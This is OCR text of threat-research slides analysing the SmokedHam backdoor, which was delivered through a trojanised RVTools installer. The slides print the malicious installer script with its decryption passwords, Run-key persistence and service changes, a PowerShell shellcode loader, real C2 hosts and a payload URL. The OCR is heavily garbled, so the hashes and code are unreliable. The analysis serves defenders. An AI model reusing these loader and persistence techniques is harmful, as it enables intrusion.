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How it started...

= End of 2024, ransomware case involving Hunters International affiliate
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https://www.synacktiv.com/en/publications/case-study-how-hunters-international-and-friends-target-your-hypervisors

sSmokedHam? EESYNACKTIV

PowerShell-based C# backdoor

aclui-2.dll
aclui.dll
3 oleview.exe
j‘_:'jj RVTools.msi kautixageX.t aclui.dil
Decoy Wiaphoh7um.t
installer Domain-joined? ’[\
UpdateFull.7z - C\P Data\
RVTools.exe rogramData
\ p<password>  \icrosoft\WindowsUpdate24 ﬂlewew e KauleneA.L
- . aclui.di

%

CurrenlMajanersmnNumber wszzm /monitor

Check /
computers:ec2-52-14-160-176.us-
easl-2.compule.amazonaws.com Wiaphoh7um t

Registry Run oleview.exe Secondary
Key: (LogUpdateWindows) c2
UpdateOleview

Infection chain from trojanised installer (source: https:/medium.com/trac-labs/who-

Hrcleap Ordered-the-smokedham-backdoor-delicacies-in-the-wild-8/7f51e2e5bd?)


https://medium.com/trac-labs/who-ordered-the-smokedham-backdoor-delicacies-in-the-wild-87f51e2e5bd2
https://medium.com/trac-labs/who-ordered-the-smokedham-backdoor-delicacies-in-the-wild-87f51e2e5bd2

Hunting season! ESYNACKTIV

= Beginning of 2025, hunting on YARAIfy

YARAIfy Scan Results

You are viewing the YARAIfy database entry for the file with the SHA256 hash ceeedd34854aa5c6c07edg8c1c02d28034d661652b4d202d223b6805242864622.

Scan Results B

SHA256 hash: (0 c600dd34854aa5c6c97ed8c1c92d28034d661652b4d892d223b6805a4e864622

File size: 10'522'168 bytes

File download:

MIME type: application/x-dosexec

MD5 hash: (0 b587a6af7fd86eebd2425913b8d73d47 " RV-TOOIS-7'6°1 -€xe
SHA1 hash: (0 ad388falccObeclfc45b30a460c53c56789bb11d

SHA3-384 hash: (D 2b11aBac09fa7aeOb3cabd2e3c7dafla529d244e25e73452c36652460287chf78c6b1e2652567f01713adfch6a599c61

First seen: 2025-03-08 01:32:14 UTC

TLP CLEAR



Quick analysis with AssemblyLine #SYNACKTIV

M ::./RV-Tools-7.6.1.exe [executable/wir

» :» SPLUGINSDIR/nsExec.dll [e:

» :» SPLUGINSDIR/nsis7z.dll [executable/win
- = full_soft. 7z [archive/7-zip]

2 TFILE.TA.gpg [unknown
 2FILE.TA.gpQ [unknown

* 3FILE.TA.gpQ [unknown

2 AFILE T A.gpg [unks

2 5FILE.1A.gpg [u

Submission Information

Description Inspection of file: ./RV-Tools-7.6.1.exe
Groups
Selected services Antivirus | External | Extraction | Filtering | Internet Connected | Static Analysis

Generate Alert

Deep Scan

Ignore Cache

Ignore Recursion Prevention

Ignore Filtering

Submitted By

. libgerypt-20.dl [ex
Verdict Malicious

S i libgpg-error-0.dll [executable/windows/dI132]
Days to live
Start Time
Completed Time

:* libnpth-0.dll [executable/windows/dil32]
«t libsglite3-0.dll [executable/windo

I
I
I
I
I
I
I
I
I
I
I
I
I

2 Zlib1.dll [executable/windows/d1132]

.- overlay [arch

TLP CLEAR



= SETUP.nsi

File viewer

18c718273c0e382db11c2adc7b330eb5cf9547c3b7d2fbB83%9afc5887de1 eebds

STRINGS

SetDetailsPrint lastused ; maybe call func x above is =>InitPluginsDirs<

Push '$ 2656 \gpg.exe --passphrase "12345678" --batch --yes --output $ 2656 ‘\UpdateFull.7z --decrypt % 2656 \4FILE.1lA.gpg'

CallInstDLL % 3296 \nsExec.dll Exec ; maybe that from TOK PLUGINCOMMAND sequence: EW REGISTERDLL <- EW PUSHPOP <- EW UPDATETEXT 4
ClearErrors

Call func 131

File $ 3296 \nsExec.dll # data handle/Offset: None SetOverwrite off MB Const:17 - 7|MB ICONSTOP Time: (-1 -1) msg:'Error opening
SetDetailsPrint lastused ; maybe call func x above is >InitPluginsDirs<

Push '§ 2656 \7za x $ 2656 ‘\UpdateFull.7z -pTG98HJerxsdgWE45 -0$% 2656 '

CallInstDLL $ 3296 \nsExec.dll Exec ; maybe that from TOK PLUGINCOMMAND sequence: EW REGISTERDLL <- EW PUSHPOP <- EW UPDATETEXT 4
Delete c:\programdata\l

Sleep 56800

CreateDirectory C:\ProgramData\Microsoft\LogUpdateWwindows

CopyFiles §$ 2656 \oleview.exe C:\ProgramData\Microsoft\LogUpdateWindows

CopyFiles $ 2656 \Wiaphoh7um.t C:\ProgramData\Microsoft\LogUpdateWindows

CopyFiles $ 2656 \aclui-2.dll C:\ProgramData\Microsoft\LogUpdateWindows\aclui.dLl

Call func 131

File $ 3296 \nsExec.dll # data handle/Offset: None SetOverwrite off MB Const:17 - 7|MB ICONSTOP Time: (-1 -1) msg:'Error opening
SetDetailsPrint lastused ; maybe call func x above is =InitPluginsDir=

Push 'sc config msdtc start= demand’

CallInstDLL % 3296 \nsExec.dll Exec ; maybe that from TOK PLUGINCOMMAND sequence: EW REGISTERDLL <- EW PUSHPOP <- EW UPDATETEXT 4
Ccall func 131

File $ 3296 \nsExec.dll # data handle/Offset: None SetOverwrite off MB Const:17 - 7|MB ICONSTOP Time: (-1 -1) msg:'Error opening
SetDetailsPrint lastused ; maybe call func x above is =InitPluginsDir<

Push 'sc config msdtc obj= "LocalSystem"'

CallInstDLL % 3296 \nsExec.dll Exec ; maybe that from TOK PLUGINCOMMAND sequence: EW REGISTERDLL <- EW PUSHPOP <- EW UPDATETEXT 4
SetRegView 64

DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run UpdateOleview

WriteRegStr HKLM SOFTWARE\Microsoft\Windows‘\CurrentVersion\Run UpdateOleview C:\ProgrambData\Microsoft\LogUpdateWindows\oleview.exe
DeleteRegValue HKLM SOFTWARE\Microsoft\MSDTC\MTxOCI OracleOcilLibPath

TLP CLEAR




Infecting myself with SmokedHam

= [nstalling trojanised RV Tools.exe in dedicated VM with internet access

WCo» Disquelocal (C) » ProgramData » Microsoft » WindowsUpdate2d

Pt

= SYNACKTIV

Marm tAadifié le Type Taille
=] acluidll Q7022025 13:00 Extension de Iapp.. 219 Ko
=] Certtxt 10/02/2025 13:56 Document texte 1Ko
kautix2aedt Q7022025 1249 Fichier source Perl 9 Ko
O cleview.exe 157082024 0700 Spplication 266 kKo
EE;! RuTaals.msi 1312/2024 03:06 Package Windows.. 2182 Ko
HEEY _LOCAL_MACHIMEASOFTWwWARE \Microzaft\wWindows\Current¥erzsionsFun
RHG]
qua Al WGk Tepe Données Taille
RE"E*T"'W 5] (Par défaut) REG_SZ (valeur non définie) 0
;Er‘ﬂp M ab| BinDiffPerlUserSetup REG_5F "ChPrograrm Files\BinDiffshintbindiff_config_setup.exe” -, 134
REEE_T; AR ) SecurityHealth REG_EXPAND_SZ Sanindir¥hsystem 32\ SecurityHealth Systray.exe 28
etailDemo
— ab| | IpdateD|eview REG_5Z ChPrograrmData\MicrosofthloglpdateMind owes'oleview, exe 108

dns and dns.gry.name contains “workers.dew” or dns.qrename contains "armazon”

Mo,

TLP CLEAR

232a
2322
2323
SEEH
SETE
=]
59955
59956

Tirne Source

15. 242 192,168,
15.28@. 192.1a8,
15. 2810 192,168,
40, FFEL 192,165,
49,5250 192,168,
49,8259, 192,165,
F35.459. 192,165,
F35.532 192,168,

Destinatior Protor Length Info

192.
192,
192,
192,
192,
192,
192,
192.

168-
lasa
lasa
18-
l68a
168
168~
168-

NS
DNS
CDNS
NS
DHE
()
()
DS

1as
las
125
=50
=
127
95
S5

standard
Standard
Standard
Standard
standard
Standard
Standard
standard

query
query
query
query
query
query
query
query

@xcach A ec2-52-14-160-176.us-east-2. compute. amazonaws. com
@xcach & ec2-52-14-168-176.us-2ast-2. compute. amazonaws. com
response @xcabh & ec2-52-14-168-176.us-east-2. compute. amazonaws. com & 52.14.168. 175
@xecc? & cdn-app-web2. leneteSo7d. workers. dev
@xecc? & cdn-app-web2. leneteSo7d. workers, dev
response @xecc? & cdn-app-web2. leneteS97@. workers.dey A 172.67.136.46 & 1&4.21.62.135
@fedd & cdn-app-web?. lenetesS970. workers. dey

@xfedd & cdn-app-web?. lenetesS978. workers. dey



Letting it marinate £ SYNACKTIV

= A whole week later, malicious Powershell and cmd activity appeared
= Some recon: whoami, systeminfo

= Take a screenshot of the desktop and upload it to remote EC2
= AV detection ( nand@san/av_detect github repository)

= Download payload from Protoné6 bulletproof hosting server
( https://sj34udsbh.com/images/poster.jpg ) and store it encoded in registry key
value HKCU:\Software\ujzfgpem

= Create a scheduled task MicrosoftEdgeUpdate to run the payload every 2 hours

= The payload encoding: for(i=0;i < len(blob);i++){blob[i]+=19}



SYNACKTIV

An unexpected present

TLP CLEAR



What's in the Secret Sauce? HSYNACKTIV

= 280Ko of ugly Powershell

= minusone-cli (by Airbus-CERT®): automagically reduced the complexity without executing it

$zgetbdu =
if ($tbhayucoz){
[byte[]13zqetbdu [type]::"GetType" ("System.Convert")::"FromBase645tring" ("i22eskvTr5ax5hjvA7G/I]TeGbYN2Nx17C3mZSDHX8/17/gHh6C3ev/eKgqCGXkIsRhFh2Sk4waQUqujpUDO/IWhqO1F7z7be/mdebs3rXGe2By

else {
[ 1$zqetbdu [ ]::"GetType" ("System.Cc rt")::"FromBa String" 5 cn s WL1B4QjMcPNXzQG20A0Ta]jJqBdzug8G1TbxLsW61yUQK1T0Tbs5e2BT0IBOILGU+pqtxed4B0SILjw=
}
$zvimkajs E 0" -as $zugakddt
$miwstgp = 34" -as %$zugakddt
$gauvmkis = [ 1: tTy 'Sy t:“.laieT;v%'ﬂ
$thuivgd = (($gauvmkis::"UtcNow get-date "1/1/1970"))."Totals is* -as $zugakddt
$thuivgd - = $miwstgp
$thuivgd /= $zvimkajs
$zzowjodm = [ ]::"GetType" ("System.Math")
$hiwmdesx = $zzowjodm::"Floor" ($thuivgd) -as $zugakddt
$hemnj = [ 1::"GetTy tem.BitConverter
$hiwmdesx bytes = $hemnj €
$oqcegfy = [ 1B
$dkbjv = $oqcegfy::
$fgjnwbg = $dkbjv."ComputeHash"($hiwmdesx bytes)
$qfnap = [ [11( " X 0 T
Spwxgxzw = [ IEE ! r
$pkaafjxi = [ 1:
$wmrzdnyt = ]:
$trtmize = $pwxgxzw::"Create
$tritmize. ($tcsecuq + $gwnogw + $ilnup + $wikuml $bnjuaj) =
$trtmize. ($itunlja + $pgqjuj + $qysts + $ptuvm) "128
$trtmize. ($ipayaf + $rwkzrfb) = $fqjnwbg
$trimize. ($ywjnofp) = $qfnap
$trimize. ($adkkgzf + $mskdku) = $pkaafjxi::"CBC
$trtmize. ($zviho + $dvwtmzk + $fvgkk + $kgviyi) = $wmrzdnyt::"PKCS7"
$wafwolu = new-object
$xvwgx = $trimize.”
$cemiai = [ [ e6 0 /ptoStreamMode")
$zwnjh = new-object ' tem. u \ m" ($wafwolu, $xvwgx, $cemiai::"Write")
$zwnjh."Write" ($zqetbdu, @, $zgetbdu.length
$zwnjh."FlushFinalBl ()
$xpkgcz = $wafwolu."T -ay"
$ixnrkkel = [ 1:: "("System.Runtime.InteropServices.Marshal")
$anzdqng = $ixnrkkel: 1 ForFunctionPointer” ((giubistzlowivzyrvptdcwmrlrx "kernel32.dll" "VirtualAlloc"), (rxjidngvuwgcvkumkxv $abpuwkt, $pnkog, $hsmkm, $hsmkm; $abpuwkt) ))
$vptcyfmm = $anzdqng."I ($abpuwkt: : o", $xpkqcz."length", "ex3eee", "@x40")
$ixnrkkel:: "Copy" ($xpkgcz, O, $vptcyfmm, $xpkgcz."length")
W—L_F) (:L_E;/XFR $ylagpeiz = $ixnrkkel::"Ge eForFunctionPointer"” ($vptcyfmm, (rxjidngvuwgcvkumkxv S$abpuwkt; $pesmt)))
$yiagpeiz."Invoke" ($abpuwkt::"Zero")




What's in the Secret Sauce? HSYNACKTIV

= Dynamic analysis the previous result with Powershell ISE to decode the remaining values

if ($tbayucoz){
[byte[]]%encryptedData [type]::"GetType" ("System.Convert")::"FromBase64String" ("i22eskvTr5ax5hjvA7G/IJTeGbYN2Nx17C3mZSDHX8/17/qHh6C3ev/eKgqCGXkIsRhFh2Sk4waQUqujpUD0/JIWhqO1F7z

1$encryptedData [t ]::"GetType" ("System.Convert") : : "FromBase645tring"” ("Nn1MhGROwxcmY fELiZk+B5t1V1UsoRcwL1B4QjMcPNXZQG JqBdzuq8G1lfbxLsWEiyUQK1fO

$5years = "315 -as Int64
$10years = "162 ,,1“4' -as Int64
$dateTime [type]: em.DateTime" )
$epochnow {:$dateT1me.. t cNow - (get-date "1/1/1970"))."TotalSeconds" -as Int64
$epochnow -= $10years
$epochnow /= $5years
$math = [type]::"GetType"("System.Math")
$timeCheck gmath::"F1l $epochn0w} -as Int64
$bitConverter = [type]::"GetTy 'System.BitConverter")
$timeCheck bytes = SbltConverter "($timeCheck)
$sha256 = [type]::"GetType"("System.Security.Cryptography.SH
$sha256h = $shaz256::"( e’
$ha5hT1meCheckBytes = $sha256h.
$iv = [ [] ', "0xbd"
$aes =
$cipherMode N 1 Cryp
$paddingMode = [t ype ¥ rity \ g \ lingMode"
$aes handle = $aes::
$aes handle.KeySize
handle.BlockSize = "128"
handle.Key = $hashTimeCheckBytes
handle.IV = $iv
handle.Mode = $cipherMode::
handle.Padding = $paddingMode: :"PKCS7"
$memoryStream = new-object "System.IO.Memor
$aesDecryptor = $aes handle.
$streamMode = [type]::"GetTy L €
$decryptStream = new-object "Syste ty.Cryptograph tream" ($memoryStream, %aesDecryptor, $streamMode::"Write")
$decrypt5tream.'wr'.%'[$encryptedData 0 $encryptedData length)
$decryptStream. "FlushFinalB
$plaintext= SmemoryStream
$marshal = [type]::"Get stem.Runtime.InteropServices.Marshal™)
$virtualAlloc = $marshal "Func in get-ProcAddress "kernel dl1" "VirtualAlloc"), (get-delegateType IntPtr, $is64b, UInt32, UInt32; IntPtr)))
$executableBlock = Sv1rtua1Alloc Invoke"(IntPtr::"Zero", $plaintext."length", "@x3008", "0x40
W_L}D (:LJZ/XFQ $marshal:: Copy" ($plaintext, @, $executableBlock, $plaintext."length
$pointer = $marshal::"GetDelegateForFunctionPointer" ($executableBlock, (get-delegateType IntPtr; Int32)))
$pointer. "Invoke" (IntPtr:: )




Should I bring a Doggy Bag? HSYNACKTIV

Final stage is 188KB x64 headless PE

= Anti-reverse mecanisms: each function is decrypted right before execution then re-
encrypted (recursive)

DNS tunneling encoded comm with its C2: *.opticsinet.com

= Unfortunately the C2 was not responding at the time of analysis

= Main commands
= Shell handler (command execution, token impersonation)
= File handler (List, Read, Write, Delete)

=  Execute shellcode

= Delete persistence ( MicrosoftEdgeUpdate task) and exit
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https: //www.linkedin.com/company/synacktiv
https://x.com/synacktiv
https:/ /bsky.app/profile/synacktiv.com

https://synacktiv.com
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